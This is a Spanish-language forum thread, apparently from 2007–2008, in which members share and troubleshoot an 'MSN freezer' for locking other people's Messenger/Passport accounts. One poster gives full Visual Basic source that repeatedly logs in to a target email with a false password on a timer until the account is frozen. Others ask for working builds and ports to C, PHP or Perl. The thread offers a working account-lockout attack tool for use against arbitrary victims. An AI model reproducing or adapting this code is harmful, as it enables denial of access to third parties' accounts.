eso pasa x escribir sin leer
que nadie posteara el proyecto completo (TugHack o kizar)?
hola a todos pido disculpas por nhop escribir antes es q estaba en un viaje.
es verdad lo que dice tughack son demasiadas lineas de codigo para un freezer, pero es debibo a que el codigo lo he sacado de una aplicacion que estoy creando y tiene muchas mas opciones;(tal vez al momento de postearlo quedaron excedentes en el codigo pero crei que seria solo cuestion de tiempo para que los sacaran );la accion del codigo es la de conectar cada 10 segundos a la cuenta (puse 10 segundos para asegurarnos de que todos los intentos darian en el blanco //el tiempo puede bajarse dependiendo de la conexion que se dispone//el codigo realiza 15 intentos de conexion xk no eh contado bien pero creo que con 10 ya es suficiente).
Como dije antes el codigo solo conecta y desconecta asi que todos los exedentes de codigo que sean del tipo dataarrival o algo por el estilo(que son para recibir datos pueden quitarlos por completo y veran que el freezer seguira funcionando.
Esto fue la simple manera que encontre de haqcerlo asi que espero que pueda servirles de algo y lamento si no ha cumplido las expectativas de algunos. salu25
Tengu..::FireB0y::..
ante cualquier duda solo agreguenme a su msn y les pasoi el proyecto totalmente funcional.... salu25 ;D
weno tengu yo el tuyo si que lo he conseguido hacer funcionar, me costo lo mio, pero lo logre. el de kizar , pues me pasa como a mad, llega al 100% y nada me puedo conectar como si nada. Por si alguien pregunta, estoy desconectado. Puede ser por que uso gmail?. no creo que fuera eso ya que al estar registrada en passport.
si alguien obtinene una solucion ya sabe donde estamos xDD
Cita de: wACtOr en 4 Agosto 2007, 14:38 PM
weno tengu yo el tuyo si que lo he conseguido hacer funcionar, me costo lo mio, pero lo logre. el de kizar , pues me pasa como a mad, llega al 100% y nada me puedo conectar como si nada. Por si alguien pregunta, estoy desconectado. Puede ser por que uso gmail?. no creo que fuera eso ya que al estar registrada en passport.
si alguien obtinene una solucion ya sabe donde estamos xDD
Un freezer, caso funcione bien, puede congelar kualier cuenta asociada al net passport.
Probaste el mio?
Salu2
Aqui eh vuelto para liberar un nuevo codigo sin fallas y muy optimizado jejejej por k yo no creo en guardarme los codes ya que son uds. "gente del foro" los que me han enseñado a aprender y compartir.. asi q presten atencion.
necesitaremos colocar en referencias(Proyecto->Referencias)
*Messeger Type Library
*Messenger API Type Library
*Messenger Private Type Library
agregar :
1 textbox llamado "txtusermail"
1 command llamado "congelar"
1 timer llamado "timer1"
1 textbox llamado "contador"
2 label llamados lblUserEmail y label1
1 slider llamado conexion
eh aqui el codigo que buscaban jejej si falta algo o falla algo posteenlo aqui salu25
Private MSN As New MsgrObject
Private Sub congelar_Click()
Timer1.Interval = conexion.Value
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Me.Caption = "Freezer 2 poir tengu jej"
lblUserEmail.Caption = "Direccion de E-mail"
contador.Visible = False
Label1.Caption = "Tiempo para realizar cada conexion"
conexion.Value = "15000"
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
contador.Text = Val(contador.Text) + Val("1")
If contador.Text = "20" Then
Timer1.Enabled = False
MsgBox "congelada!!!", vbInformation, "Tengu Freezer 2"
End If
MSN.Logoff
MSN.Logon txtUserEmail.Text, "Fucked by tengu", MSN.Services.PrimaryService
End Sub
Toodo va en el form1(sin modulos sin nada jejej)
a mi no me congela
si ves que no funcina primero abre el windows messenger(no te logees solo tenlo abierto)
y sino vamos a tener que resignarnos y usar el tuyo tughack jej no nos vendria mal un poco de tu ayuda eh jajaj
EStoy deacuerdo con eso...
vale la ayuda de tughack
alguien podria pasar ese codigo de VB a otro lenguaje soportado en unix, como C, PHP o perl.... seria bastante efectivo... si alguien puede comuniquemelo mitripeo@mitripeo.com
Broma no esta cerrado -Freeze-
De verdad esta cerrado?? :xD :xD :xD
Fue Tengu un Mod?
Que pasooo? :xD
No entiendo nada...
Bueno perdonen mi ignorancia pero que controles o que cosas tengo que poner ne el form para que el codigo de kizar funcioine, soy muy noob en VB.
Saludos
alguien me puede pasar el programa ya hecho lo q pasa es q aun soy algo idiota para esto d la programacion
grax
Cita de: erementar en 15 Abril 2008, 01:22 AM
alguien me puede pasar el programa ya hecho lo q pasa es q aun soy algo idiota para esto d la programacion
grax
por lo visto no solo en la programacion , no rebibas post viejos
bueno pero me lo van a pasar o no akbo d probar el iceberg y x alguna razon no me funciono
escribe bien que tube que descifrar eso , pidelo por favor i lo ago i te lo paso
me podrias pasar el programa ya funcionanado acabo de probar el icebrg y no me funciono por alguna razon
por favor
Cita de: erementar en 15 Abril 2008, 04:11 AM
bueno pero me lo van a pasar o no akbo d probar el iceberg y x alguna razon no me funciono
Esa no es forma de pedir algo.
Cita de: erementar en 15 Abril 2008, 04:29 AM
me podrias pasar el programa ya funcionanado acabo de probar el icebrg y no me funciono por alguna razon
por favor
Eso esta mucho mejor y recuerda (claro, solo lo puedes recordas si te detuviste a leer un poco) que no se deben resucitar los post antiguos...
Creo que ya te lo van a pasar...